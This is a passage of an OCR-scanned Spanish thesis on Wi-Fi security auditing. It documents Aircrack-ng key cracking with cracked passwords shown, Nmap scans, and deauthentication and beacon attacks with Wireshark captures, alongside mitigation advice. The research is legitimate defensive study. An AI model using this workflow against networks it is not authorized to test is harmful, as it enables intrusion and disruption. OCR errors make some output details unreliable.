descifrd la clave permitié al atacante acceder a la red, exponiéndola a riesgos graves

como la interceptacién de trafico y la explotacion de servicios vulnerables.

Aircrack-ng 1.7

[00:00:00] 11/10303727 keys tested (364.22 k/s)

Time left: 7 hours, 51 minutes, 30 seconds

KEY FOUND! [ 0901282095 ]

Master Key : 40 79 CF 58 3C CC F7 8C D1 EE D@ 87 F3 7A 83 10
3F 50 CF 30 98 A4 D1 DC EC 49 D9 7E 17 C4 3E 4B

Transient Key : 86 22 38 32 09 53 88 F6 40 35 3F B9 D8 7A 2C S5E
3A F1 2D 4A AE 93 13 EB 6A 3A 36 5C 6C 36 9A 54
93 F3 81 37 BD F4 FO DA 06 53 43 97 31 04 96 08
F6 67 1C B1 F2 OE C3 94 EF F6 05 41 A7 ES A4 D2

EAPOL HMAC . 0D 84 19 7E 0C 49 AE 51 53 CA 22 8A 13 C1 11 B9

Figura 51: Uso de Aircrack-ng en WPA

Fuente: Elaborado por autor

Descifrado de password en protocolo WPA2

La explotacion de la RED_USR2, configurada con el protocolo WPAZ2,
evidenci6 una vulnerabilidad critica asociada al uso de contrasefias débiles. Este ataque
fue realizado utilizando la herramienta especializada Aircrack-ng, que permitié romper

la seguridad del handshake previamente capturado, un componente clave en el proceso
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de autenticacion de WPAZ2. El éxito de esta explotacion resalta los riesgos inherentes
en configuraciones de red que no implementan contrasefias robustas ni adoptan
estandares de seguridad mas modernos.

El proceso inici6 con la captura del handshake, aprovechando la comunicacion
entre un cliente conectado y el punto de acceso. Para lograrlo, se utilizd un ataque de
desautenticacion, el cual forzd al cliente a reconectarse, generando un nuevo
handshake. Este intercambio fue interceptado mediante Airodump-ng y almacenado en
un archivo .cap. La captura del handshake representa el primer paso en la explotacion,
ya que contiene la informacion necesaria para intentar la ruptura de la clave de la red.

Posteriormente, se realiz6 un ataque de fuerza bruta contra el archivo capturado
utilizando Aircrack-ng. Este ataque consistio en probar sistematicamente una gran
cantidad de combinaciones posibles de contrasefias, superando los 14 millones de
intentos hasta encontrar la clave correcta: @dri@0120601, como se muestra en la
figura 52, dando como veridico la obtencion de autenticacion de este AP.

& adriana@kali: ~

File Actions Edit View Help

Aircrack-ng 1.7
[02:46:10] 14345429/14344395 keys tested (2266.51 k/s)
Time left: -289717666 day, 19 hours, 33 minutes, 20 seconds 100.01%
KEY FOUND! [ @drign@120601 ]

Master Key : 9C EA DA 96 5D 20 36 FA F6 05 5F CE 1A 76 4F A7

0C F8 39 F6 C3 39 1F 02 32 5D 99 7D 0B 8E E3 88
Transient Key : 58 AC FC 29 35 9B A@ 53 BF 7A 33 Al 73 37 21 13

9D 52 DA 3B C2 D8 BA 44 A7 2F FE 98 B8 76 66 86

90 19 21 AF 14 FD 76 90 60 6E 21 4E D5 D@ C2 36

87 A7 FE 2F E4 76 19 33 AE 4F 20 DB 60 67 5B 89

EAPOL HMAC : C3 23 FF 89 7F 11 09 06 B7 OFE FD 48 61 E5 F5 AB

Figura 52: Uso de Aircrack-ng en WPA2

Fuente: Elaborado por autor
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Con las claves descifradas, se realiza la comprobacion en el cual la clave
obtenida es la correcta, por esta razon, se modifica el modo de monitoreo del adaptador
Wi-Fi a modo gestionado, ya que luego de aquello ya no es necesario tener el modo de
la tarjeta de red activado.

La identificacion de la red a la que se desea atacar y el conocimiento del cifrado
que posee, ayuda a realizar los ataques de deautenticacion, probe y beacon con el
Aursinc wifi Deauther, una vez se ejecuten los ataques, se procede activar el sistema
operativo de Kali Linux, el cual se procede a capturar el handshake que se genera al
tener activado los ataques, una vez concluido se valida y analiza si en realidad se
capturo handshake y se analiza el trafico cuando las intrusiones se encuentren presentes
en la red, luego se captura los handshakes, se activo la herramienta aircrack-ng de Kali
Linux y en base al handshake capturado se logra exitosamente el descifrado de la
contrasefia de la red, obteniendo e indicando que el protocolo WPAZ2 es débil ante el

presente ataque.
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CAPITULO IV
4. ANALISIS DE LOS RESULTADOS Y VALORACION DE DEBILIDADES.

4.1.Analisis de resultados de escaneo de red y pruebas de pentesting.

Los resultados obtenidos mediante la fase de escaneo de la red y pruebas de
penetracion se realizaron a base del sistema operativo de Kali Linux, el cual consta con
airodump-ng, airmong-ng, Nmap, aircrack-ng, el cual ayudaron exitosamente
identificar los hosts de la red, puertos que se encontraban abiertos y servicios que se
encuentran activos, de igual manera se obtuvo un andlisis de los protocolos WEP, WPA
y WPAZ2 en los diferentes AP con sus respectivos cifrados

Al inicio se hizo uso de Nmap, ya que se necesitaba evaluar, en qué condiciones
se encontraba la red, es por ello que se obtuvo las direcciones IP activas, de igual
manera los puertos abiertos, hosts y servicios activados, en base a esta informacion se
logré observar la infraestructura y las debilidades que ponen en riesgo la red ante
terceros.

Airodump-ng se utilizd para adquirir datos que se destacan en la red, cabe
recalcar que también se incluyeron handshakes de autenticacion, que consecutivamente
se usO para la apreciacion de la robustez y el nivel en el que se encuentra protegido los
protocolos en base a la normativa 802.11 b/g/n.

Los resultados de las pruebas de penetracion proporcionan una vision practica
sobre como identificar los puntos débiles, de igual manera, ayudan a probar el nivel
de proteccidn de los métodos de autenticacion y cifrado realizados en la deteccién de
fallos junto con intentos controlados de explotacion, a su vez, proporciona la
oportunidad de examinar la resiliencia de la red contra ataques de fuerza bruta,
similares a inserciones, es por ello que, este analisis exhaustivo posee precision,
fortalezas y debilidades de la red, que ayudan generalmente a plantear medidas
destinadas a la reduccion de riesgos y la mejora del aparato de seguridad contra posibles
amenazas.

4.1.1.Apreciacion de datos alcanzados en el escaneo de dispositivos.
Interpretacion de los datos del escaneo
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Como se menciono anteriormente para la obtencidn de estos datos se us6 Nmap,
la tabla 8 muestra las direcciones ip obtenidas con Nmap, el comando con el que se
logré esto es Nmap -sn, el cual nos indica el analisis profundo de la red, ya que, para
iniciar el andlisis con el reconocimiento de los dispositivos terminales, es importante

mencionar que no se expone la privacidad del usuario.

No identificado No identificado 0.0023s

64:13:AB:6E:4D:6C Huawei 0.087s
EC:10:7B:B2:71:8B Samsung 0.098s
60:A4:D0:E7:8E:66 Samsung 0.10s
88:BD:45:FB:34:12 Samsung 0.063s

56:C8:78:FD:6A Desconocido | Desconocido

Tabla 8. Escaneo de host

Fuente: Elaborado por autor

En la red local se encontraron 6 de 256 direcciones IP, en él cual, se establece
256 direcciones IP, ya que al estar configurada con una mascara subred /24, abarca un
total de 256 direcciones, de los 6 dispositivos activos, poseen su respectiva direccion
MAC e IP, un dato adicional es el nombre de quien fabricé cada uno de ellos, aportando
de esta manera puntos débiles de la red, el dispositivo192.168.100.4 fue hecho por
Huawei, en el cual esto sugiere que podria tratarse de parte de la infraestructura de red
principal.

Los dispositivos finales conectados con direccién ip 192.168.100.30,
192.168.100.53 y 192.168.100.60 fueron fabricados por Samsung, lo cual es indicativo
de dispositivos de consumo, como teléfonos maviles, por ende, la presencia de estos

dispositivos es comun en redes domeésticas o en oficinas donde se permite el acceso de
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dispositivos personales. Sin embargo, es fundamental verificar que estos dispositivos
sean seguros, ya que los dispositivos loT pueden representar puntos vulnerables debido
a sus niveles variables de seguridad.

La direccion IP 192.168.100.27 tiene un inconveniente que ni el fabricante del
dispositivo ni su direccion MAC se encuentran disponibles, de tal forma que esto podria
ser resultado de una base de datos insuficiente en la herramienta de escaneo o de que
no se conoce al fabricante, cualquiera que sea el motivo demuestra la ausencia de datos
adicionales acerca de esta direccidn la sitia como un potencial peligro.

Al usar el comando -sn facilita un enfoque general de los terminales conectados,
para obtener una evaluacion de seguridad mas completa, se recomienda realizar un
escaneo adicional que explore los puertos abiertos en cada dispositivo ya que esto
permitira identificar los servicios que podrian estar disponibles para posibles atacantes,
y asi tomar las medidas necesarias para proteger la red.

Esta evaluacion es fructifera porque permite distinguir los hosts activos, ante
situaciones como el de host sin informacion, se considera necesario un firmware
actualizado para prevenir direcciones IP anénimas, de igual manera se debe realizar
auditorias.

4.1.2.Andlisis de vulnerabilidades en servicios y puertos abiertos

La Figura 53, muestra un resultado de un escaneo realizado con Nmap, una
herramienta de analisis de redes y deteccion de vulnerabilidades. El objetivo principal
de este escaneo parece ser identificar servicios activos y posibles puntos de entrada
mediante la enumeracién de puertos abiertos o filtrados en un dispositivo con una

direccion MAC asociada a Huawei Technologies.
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Host 1s up (0.0090s latency).

Not shown: 992 closed tcp ports (reset)
PORT STATE SERVICE

21/tcp filtered ftp

22/tcp filtered ssh

23/tcp filtered telnet

53/tcp open domain

80/tcp open http

139/tcp filtered netbios-ssn

445/tcp filtered microsoft-ds

8899/tcp filtered ospf-lite

MAC Address: 64:13:AB:6E:4D:6C (Huawel Technologies)

Figura 53: Puertos abiertos y servicios

Fuente: Elaborado por autor
La figura presenta los puertos abiertos y los servicios que posee activo cada uno

de ellos, en la cual se han registrado 2 puertos abiertos, 53/TCP (servicio DNS) y
80/TCP(HTTP), que se les considera un riesgo, ya que uno de ellos es el servidor y
solo basta con una mala configuracion para ser atacado ya sea por envenenamiento de
caché o cualquier otro ataque, de la misma manera el servicio HTTP, con la diferencia

que se de acceso sin autorizacion.

Los puertos marcados como filtrados indican que estan protegidos por un
firewall o dispositivo de seguridad que bloquea el acceso, lo cual es una buena practica,
aungue estos puertos también deben revisarse para asegurarse de que no sean accesibles
por error desde otras rutas, los puertos y servicios que se encontraron en la red se

muestran en la tabla 9.

I

53 DNS

80 Servidor WEB
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21 File Transfer Protocol (FTP)
22 Secure Shell (ssh)
23 telnet

NetBIOS Session Service (netbios-

139
ssn)
445 Microsoft-ds (SMB)
Open Shortest Path First — lite
8899

(ospf-lite)

Tabla 9. Lista de puertos y servicios

Fuente: Elaborado por autor

A continuacién, se realiza un analisis detallado de cada puerto abierto detectado
en el escaneo, abordando los riesgos de seguridad que pueden representar y ofreciendo
recomendaciones para mitigar posibles vulnerabilidades o configuraciones inseguras
que podrian facilitar ataques dentro de una red.

Puerto 53 (DNS): Este puerto ayuda en la asignacion de nombre referente a
direcciones IP, se encarga de esto porque maneja el sistema DNS, y que si la red no
esta actualizada, desde ya se la considera con una seguridad baja, los cuales los
atacantes remiten solicitudes falsificadas para sobrecargar el sistema objetivo, para
mitigar estos riesgos, es fundamental limitar el acceso al DNS exclusivamente a
clientes internos y deshabilitar la recursion para redes externas, configurando el
servidor para que solo responda a consultas autorizadas.

Puerto 80 (HTTP): Este puerto se centra en el protocolo HTTP, el cual es un

servidor WEB, de tal modo que, si un dispositivo se encuentra abierto, es factible que
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cuente una interfaz de administracién, pero al tener esto abierto genera un riesgo y
deben tomarse medidas de seguridad.

A medida que la red usa HTTP y no HTTPS, el atacante obtiene credenciales
en texto plano, de igual manera se procede ante las credenciales que ayudan a lograr
con el objetivo de terceros, otro riesgo asociado es el ataque de fuerza bruta, dado que
las interfaces web desprotegidas son vulnerables a intentos de adivinacion de
credenciales y, en ocasiones, a la explotacion de vulnerabilidades en el software de
administracion.

Puerto 21 (FTP): El protocolo FTP admite la transferencia de archivos en texto
plano, en este caso este protocolo se encuentra filtrado en la red, pero si se da el caso
de encontrarse abierto, podria ser vulnerable al interceptar las credenciales y de igual
manera a los accesos, por lo consiguiente es aconsejable emplear SFTP o FTPS en caso
de necesitar acceso remoto a archivos

Puerto 22 (SSH): SSH es un protocolo seguro en el &mbito de la conectividad
eficiente, cabe recalcar que esto se basa en la configuracion solida, sin embargo, si no
se establecen politicas de autenticacidn y actualizaciones, estas pueden presentar sus
debilidades.

Para mejoras, se soluciona proponer un cambio personalizado con respecto,
configuracion de clave publica y a su vez eliminando la configuracion por contrasefia
y hacer uso de filtrados, el cual son métodos que ayudan en la reduccion de ataques

Puerto 23 (Telnet): Protocolo poco de administracion que consiste en datos sin
cifrar desistiendo de esta manera datos y credenciales visibles, el cual no estan cifrados.

Puerto 139 (NetBIOS) y Puerto 445 (SMB): En entornos de redes Windows,
estos puertos se utilizan para compartir archivos e impresoras entre dispositivos, aqui
también se realizan los atagues masivos, teniendo en cuenta esta clase de debilidades,
en este puerto puertos pueden ser un punto de entrada para la propagacion de malware,
permitir accesos no autorizados a recursos compartidos e incluso facilitar la
reutilizacion de credenciales en diferentes ataques.

Para que este protocolo sea efectivo requiere de la activacion, se recomienda

desactiv Como medida de defensa, es necesario deshabilitar el protocolo ex-SMBv1, y
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mas bien se recomienda utilizar versiones méas seguras como SMBv2 o SMBvV3.
Ademaés, se recomienda permitir el acceso al SMB solo a las sub-redes necesarias y
mantener el software constantemente actualizado porque este protocolo es bastante
popular entre los hackers.

Puerto 8899 (OSPF-Lite): OSPF es un protocolo de enrutamiento que
comunmente se usa en redes amplias, por lo cual, si se establece una configuracion
mal, un atacante puede alterar el trafico de la red ya sea por mecanismos como rutas
que no existen o la redireccién de paquetes que ayudan a la indagacién del malicioso,
en base a todas estas consideraciones, se establece una configuracion incorrecta puede
permitir que un atacante altere el trafico de red mediante el envio de rutas falsas. de
tal modo que, si un atacante obtiene acceso al trafico OSPF, podria redirigir paquetes,
facilitando el espionaje o la denegacidn de servicio

Ante todas las adversidades, se recomienda implementar autenticacién en
OSPF para evitar la manipulacion de rutas y restringir el acceso al protocolo de
enrutamiento.

4.1.3.Evaluacion de Vulnerabilidades en Puntos de Acceso WiFi y estudio de
Ataques Deautenticacién, Beacon y Probe Request

En esta seccidn se realiza un estudio con respecto a los 3 ataques realizados en
el entorno controlado con el Aursinc wifi Deauther, de tal manera que sirve para llevar
a cabo ataques de pentesting, como el de deautenticacion, beacon que consiste en la
falsificacion de sefiales y probe request que consiste en envi6 de solicitudes de sondeo,
explotando asi el protocolo IEEE 802.11b/g/n.

Ademas, se explora el impacto que ocasiona al realizar estos ataques en los
puntos de acceso, todo referente a la seguridad y disponibilidad de la red.

Ataques de Deautenticacion

Los ataques de deautenticacion son un tipo de denegacion de servicio (DoS)
enfocado en redes WiFi, en el que el atacante envia tramas de deautenticacion a los
dispositivos conectados, provocando desconexiones temporales y reconexiones

repetidas. La efectividad de este ataque depende de la capacidad para transmitir tramas
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en la frecuencia y canal especificos del punto de acceso, tarea que el Aursinc WiFi
Deauther maneja eficientemente.

En el AP1, denominado “D-Administracion”. Ataque de deautenticacion, se
comienza enviando paquetes de deautenticacion a cada dispositivo conectado, el
dispositivo atacante simula la direccion MAC del punto de acceso, el mensaje que se
crea es tramas de deautenticacion lo que logra engafiar a todos los dispositivos para que
se desautentiquen por la fuerza.

La figura 54 muestra dispositivos afectados, esta es una sefial de que el ataque se ha
realizado con éxito, es decir que el servicio de denegacion funciond, a su vez se observa

que el canal se satura ya que los dispositivos se encuentran en constante reconexion.

: Source Destination Protocol Length Info

1794 63.467988999 ae:7d: :9a: Broadcast 802.11 240 Beacon frame, SN=546, FN=0, Flags=..
1797 63.581824416 ae:7d: 19a: Broadcast 802.11 240 Beacon frame, SN=547, FN=0, Flags=.
1801 63.775125913 ae:7d:0a: 4 Broadcast 802.11 240 Beacon frame,

11362 433.634271487 ae:7d:0a: z Broadcast 802.11 240 Beacon frame,

1812 63.980604709 ae:7d:0a:7a:9a: Broadcast 802.11 240 Beacon frame, SN=551,
1822 64.184726473 ae:7d:Pa:7a:9a: Broadcast 802.11 240 Beacon frame, SN=553,
12651 482.991147780 ae:7d:0a: g Broadcast 802.11 240 Beacon frame, SN=553,
1864 64.287114193 ae:7d:0a: 2 Broadcast 802.11 240 Beacon frame, SN=554,
12652 483.093601809 ae:7d:0a: 2 Broadcast 802.11 240 Beacon frame, SN=554,
12654 483.195957397 ae:7d:0a: 2 Broadcast 802.11 240 Beacon frame, SN=555,
12655 483.298350577 ae:7d:0a: 3 Broadcast 802.11 240 Beacon frame, SN=556,
12657 483.400813607 ae:7d:0a:7a:9a: Broadcast 802.11 240 Beacon frame, SN=557,
1904 64.696764564 ae:7d:0a:7a:9a: Broadcast 802.11 240 Beacon frame, SN=558,
12661 483.605894246 ae:7d:0a: 3 Broadcast 802.11 240 Beacon frame, SN=559,

494 14.008654450 ae:7d:0a: g Broadcast 802.11 240 Beacon frame, SN=56, FN=0, Flags=...
1911 64.901514485 ae:7d:0a: 3 Broadcast 802.11 240 Beacon frame, SN=560, FN=0, Flags=..
12664 483.707943776 ae:7d:0a:7a:9a: Broadcast 802.11 240 Beacon frame, SN=560, FN=0, Flags=..
12665 483.810335139 ae:7d:@a:7a:9a: Broadcast 802.11 240 Beacon frame, SN=561, FN=0,

12666 483.912817896 ae:7d:0a:7a:9a: Broadcast 802.11 240 Beacon frame, SN=562, FN=0,
12667 484.015161984 ae:7d:0a:7a:9a: Broadcast 802.11 240 Beacon frame, SN=563, FN=0,

1932 65.311127215 ae:7d:0Pa:7a:9a: Broadcast 802.11 240 Beacon frame, SN=564, FN=0,
12669 484.117571068 ae:7d:Qa:7a:9a: Broadcast 802.11 240 Beacon frame, SN=564, FN=0,
1934 65.413511758 ae:7d:0a:7a:9a: Broadcast 802.11 240 Beacon frame, SN=565, FN=0,
12670 484.220009821 ae:7d:0a: 2 Broadcast 802.11 240 Beacon frame, SN=565, FN=0,
1938 65.618321552 ae:7d:0a: : Broadcast 802.11 240 Beacon frame, SN=567, FN=0,
12671 484.424814152 ae:7d:0a: 3 Broadcast 802.11 240 Beacon frame, SN=567, FN=0,
12673 484.527138432 ae:7d:0a:7a:9a: Broadcast 802.11 240 Beacon frame, SN=568, FN=0,
1956 65.823126342 ae:7d: :9a: Broadcast 802.11 240 Beacon frame, SN=569, FN=0,
1959 65.925508022 ae:7d:0a: $ Broadcast 802.11 240 Beacon frame, SN=570, FN=0,

Figura 54: Analisis de la presencia del ataque de deautenticacion — D-Administracion

Fuente: Elaborado por autor
En "RED_USR", el Deauther envia multiples paquetes de deautenticacion, en
donde cada dispositivo de la red recibe paquetes falsos que parecen ser paquetes de
desconexidn genuino, por ende, este ataque tiene exito en redes con protocolos antiguos
como WPA, ya que se desconecta sin procesar ningln paquete hasta el proceso de

autenticacion.
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La figura 55 muestra la desconexion inmediata de todos los usuarios de
RED_USR, afectando de esta manera a todos los terminales, incluso aquellos que
transmiten informacidn sustancial, es importante indicar que el trafico en el AP2 esta
perturbado y los intentos frecuentes de reconexion pueden generar paquetes de
deautenticacion masivos, considerando que cada dispositivo conectado recibe tramas
engafiosas simulando desconexiones legitimas en redes con protocolos antiguos como
WPA, el ataque es efectivo ya que no se requiere autenticacion para procesar la

desconexion.

wlan.ssid == "RED_USR" || wlan.fc.type_subtype == Oxod

b. Time Source Destination Protocol Length Info
18912 645.283433334 ae:7d:0Pa:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=©, FN=0,
18920 645.361860942 ae:7d:Pa:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=0, Flag..
18921 645.374441786 2 :55:60:d8 Broadcast 802.11 66 Deauthentication, SN=0, FN=0, Flag..
18924 645.478611833 : a:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=©, Flag..
18938 646.120488627 j osySe_5b:b7:.. Broadcast 802.11 66 Deauthentication, SN=0, FN=©, Flag..
18939 646.124385130 :7d:0a:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=0, Flag..
18946 646.262824697 :5e:75:55:60:d8 Broadcast 802.11 66 Deauthentication, SN=0, FN=0, Flag..
18947 646.297397146 :5e:75:55:60:d8 Broadcast 802.11 66 Deauthentication, SN=0, FN=©, Flag..
18948 646.323611003 :7d:@a:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=0©, Flag..
19042 647.021327577 175:55:60:d8 Broadcast 802.11 66 Deauthentication, SN=0, FN=0, Flag..
19044 647.049411333 ObjetivosySe 5b:b7:.. Broadcast 802.11 66 Deauthentication, SN=0, FN=0, Flag..
19046 647.060376383 :5e:75:55:60:d8 Broadcast 802.11 66 Deauthentication, SN=0, FN=0©, Flag..
19047 647.090399917 :7d:Pa:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=©, Flag..
19049 647.168384067 3 :7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=0, Flag..
19053 647.285766677 :7d:Pa:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=0, Flag..
19054 647.324423284 :7d:Pa:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=©, Flag..
19055 647.337376566 5 :55:60:d8 Broadcast 802.11 66 Deauthentication, SN=0, FN=©, Flag..
19056 647.363576780 s :7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=0, Flag..
19060 647.405524874 S :7a:9a: Broadcast 802.11 66 Deauthentication, SN=0, FN=©, Flag..
19061 647.418385597 5 :55:60: Broadcast 8602.11 66 Deauthentication, SN=0, FN=©, Flag..
19067 647.483872641 2 :7a:9a: Broadcast 802.11 66 Deauthentication, SN=0, FN=0, Flag..
19078 648.204363940 :7d:0a:7a:9a: Broadcast 802.11 66 Deauthentication, SN=0, FN=0, Flag..
19079 648.243473460 :7d:Pa:7a:9a: Broadcast 802.11 66 Deauthentication, SN=0, FN=0©, Flag..
19095 649.290313374 2 :7a:9a: Broadcast bl 66 Deauthentication, SN=0, FN=©, Flag..
18368 635.247054969 :7d:0a:7a:9a: Broadcast st 66 Deauthentication, SN=0, FN=0, Flag..
430 12.053582226 HuaweiTechno_6e:4d:.. SamsungElect_e7:8e:.. G 66 Deauthentication, SN=1179, FN=0, F..
11558 444.087508492 HuaweiTechno_6e: SamsungElect_e7:8e:.. Sl 66 Deauthentication, SN=3816, FN=0, F..
12161 465.210533948 HuaweiTechno_6e: SamsungElect_fb:34:.. i | 66 Deauthentication, SN=4045, FN=0, F..

2482 80.784295481 ae:7d:Pa:7a:9a:a2 SamsungElect_e7:8e:.. il 66 Deauthentication, SN=963, FN=0, FL..

Frame 430: 66 bytes on wire (528 bits), 66 bytes captured 00 24 00 2f 40 00 a® 20 08 0O 0O 0O OO 6O 0O
Radiotap Header vO, Length 36 50 87 bb 00 00 00 00 10 02 99 09 a® 00 bb 00
802.11 radio information 0 00 bb 00 cO 00 3a 01 60 a4 dO e7 8e 66 F4'13
IEEE 802.11 Deauthentication, Flags: ........ c 6 4d 74 64 13 ab 6e 4d 74 b0 49 06 00 94 de

Figura 55. Analisis de la presencia del ataque de deautenticacion — RED_USR

Fuente: Elaborado por autor
En "RED USR2", el Deauther envia paquetes de deautenticacion
repetidamente, provocando desconexiones continuas. En entornos con varios puntos de
acceso, los dispositivos intentan conectarse a otros puntos, incrementando la
interferencia, por ende, la figura 56, muestra una disminucion en las conexiones activas
en "RED_USR2", confirmando el impacto en la disponibilidad de la red, lo cual es
critico en aplicaciones empresariales que dependen de alta disponibilidad, como

videoconferencias o recursos en la nube.
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5 Source Destination Protocol Length Info
19042 647.021327577 7a:5e:75:55:60:d8 Broadcast 802.11 66 Deauthentication, SN=0, FN=0,
19044 647.049411333 ObjetivosySe 5b:b7:.. Broadcast 802.11 66 Deauthentication, SN=0, FN=0,
19046 647.060376383 7a:5e:75:55:60:d8 Broadcast 802.11 66 Deauthentication, SN=0, FN=0,
19047 647.090399917 d:Pa:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0@, FN=0,
19049 647.168384067 :7d:0a:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=0,
19053 647.285766677 :7d:0a:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=0,
19054 647.324423284 :7d:0a:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=0,
19055 647.337376566 :5e:75:55:60:d8 Broadcast 802.11 66 Deauthentication, SN=0, FN=0,
19056 647.363576780 :7d:0a:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=0,
19060 647.405524874 :7d:Pa:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=0,
19061 647.418385597 :5e:75:55:60:d8 Broadcast 802.11 66 Deauthentication, SN=0, FN=0,
19067 647.483872641 :7d:0a:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=0,
19078 648.204363940 :7d:0a:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=0,
19079 648.243473460 :7d:0a:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=0,
19095 649.290313374 :7d:0a:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=0,
18368 635.247054969 ae:7d:0a:7a:9a:a2 Broadcast 802.11 66 Deauthentication, SN=0, FN=0,

430 12.053582226 HuaweiTechno_6e:4d:.. SamsungElect_e7:8e:.. 802.11 66 Deauthentication, SN=1179, FN=0©, F..
11558 444.087508492 HuaweiTechno_6e:4d:.. SamsungElect_e7:8e:.. 802.11 66 Deauthentication, SN=3816, FN=0, F..
12161 465.210533948 HuaweiTechno_6e:4d:.. SamsungElect_fb:34:.. 802.11 66 Deauthentication, SN=4045, FN=0, F..

2482 80.784295481 ae:7d:0a:7a:9a:a2 SamsungElect_e7:8e:.. 802.11 66 Deauthentication, SN=963, FN=0, FL..
18541 637.053211037 SamsungElect_fb:34:.. Broadcast 802.11 171 Probe Request, SN=1003, FN=0, Flag..
14906 569.258474468 SamsungElect_fb: 7a:5e:75:55:60: 802.11 139 Probe Request, SN=425, FN=0, Flags..
14971 572.484663217 SamsungElect_fb: 7a:5e:75:55:60: 802. 139 Probe Request, SN=436, FN=0, Flags..
14984 572.950870079 SamsungElect_fb: .. Broadcast 802. 171 Probe Request, SN=441, FN=0, Flags..
15043 574.217688952 SamsungElect fb:34:.. 15e: 802. 139 Probe Request, SN=494, FN=0, Flags..
15044 574.220805107 SamsungElect_fb:34: :5e:75:55:60: 802. 139 Probe Request, SN=494, FN=0, Flags..
15045 574.225373416 SamsungElect_ fb:34 shesin: g 802. 139 Probe Request, SN=494, FN=0, Flags..
16194 599.795677725 SamsungElect _fb: :5e:75: 802. 139 Probe Request, SN=677, FN=0, Flags..
16306 601.297826335 SamsungElect_fb: 1568175} 2 802. 139 Probe Request, SN=736, FN=0, Flags..
16311 601.329845212 SamsungElect_fb:34:.. Broadcast 802. 171 Probe Request, SN=740, FN=0, Flags..
Frame 430: 66 bytes on wire (528 bits), 66 bytes captured 00 00 24 00 2f 40 00 a® 20 08 0O 0O 00 0O 0O
Radiotap Header vO, Length 36 a3 50 87 bb 00 00 00 00 10 02 99 09 a® 0O bb
802.11 radio information 00 00 bb 00 cO 00 3a 01 60 a4 dO e7 8e 66 64
IEEE 802.11 Deauthentication, Flags: ab 6e 4d 74 64 13 ab 6e 4d 74 be 49 06 00 94

Figura 56: Andlisis de la presencia del ataque de deautenticaciéon — RED_USR2

Fuente: Elaborado por autor

Ataques Beacon

El ataque Beacon aprovecha la capacidad de los dispositivos WiFi para recibir
tramas de beacon que anuncian la presencia de puntos de acceso cercanos, en este
ataque, se envian tramas que contienen SSIDs falsos o duplicados, estas redes saturan
el espectro con redes fantasma, confundiendo a los dispositivos que intentan conectarse
a la red correcta.

Ademas, puede ser utilizado como técnica de phishing al arrebatar a los
usuarios a puntos de acceso no autorizados, este ataque tambien puede generar otros
beacons con SSID cercanos, lo que hace que algunos dispositivos muestren el mismo
SSID maés de una vez, lo que afecta a los dispositivos que se conectan automaticamente
y que podrian conectarse a redes suplantadas, la figura 57, muestra el nimero de redes
“D-Administracion” que son visibles, 0 que aumenta la cantidad de fuentes en
conflicto y ralentiza las conexiones, provocando una sobrecarga del canal y, por tanto,

retrasando la interaccién del usuario.
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Source Destination Protocol Length Info
208.896833848 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1199, FN=0, Flags..
14571 562.897610274 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1199, FN=0, Flags
3189 99.532531843 HuaweiTechno_6e: Broadcast 802.11 400 Beacon frame, SN=12, F , Flag
16141 598.635615024 HuaweiTechno_6e: Broadcast 802.11 398 Beacon frame, SN=12, F , Flag
3545 108.850966802 HuaweiTechno_6e: Broadcast 802.11 398 Beacon frame, SN=120, FN=©, Flag
18647 637.957627986 HuaweiTechno_6e: Broadcast 802.11 398 Beacon frame, SN=120, FN=0, Flags=
6540 208.999300965 HuaweiTechno_6e: Broadcast 802.11 398 Beacon frame, SN=1200, FN=0, Flags
4625 146.640525552 7a:5e:75:55:60:d8 Broadcast 802.11 264 Beacon frame, SN=1200, FN=©, Flags..
497 14.129995075 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1201, FN=0, Flags..
6542 209.101702689 HuaweiTechno_6e:4d Broadcast 802.11 398 Beacon frame, SN=1201, FN=0, Flags..
4627 146.742936001 7a:5e:75:55:60:d8 Broadcast 802.11 264 Beacon frame, SN=1201, FN=0, Flags..
499 14.232348804 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1202, FN=0, Flags..
6544 209.204017009 HuaweiTechno_6e:4d Broadcast 802.11 398 Beacon frame, SN=1202, FN=0, Flags..
4629 146.845354772 7a:5e:75:55:60:d8 Broadcast 802.11 264 Beacon frame, SN=1202, FN=0, Flags..
505 14.334738038 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1203, FN=0, Flags..
6546 209.306468657 HuaweiTechno_6e:4d:.. Broadcast 802.11 398 Beacon frame, SN=1203, FN=0, Flags..
4631 146.947803524 7a:5e:75:55:60:d8 Broadcast 802.11 264 Beacon frame, SN=1203, FN=0, Flags..
6548 209.408900682 HuaweiTechno_6e:4d Broadcast 802.11 398 Beacon frame, SN=1204, FN=0, Flags..
14595 563.307218994 HuaweiTechno_6e:4d Broadcast 802.11 398 Beacon frame, SN=1204, FN=0, Flags..
4634 147.050222438 7a:5e:75:55:60:d8 Broadcast 802.11 264 Beacon frame, SN=1204, FN=0, Flags..
527 14.539532266 HuaweiTechno_6e:4d Broadcast 802.11 398 Beacon frame, SN=1205, FN=0, Flags..
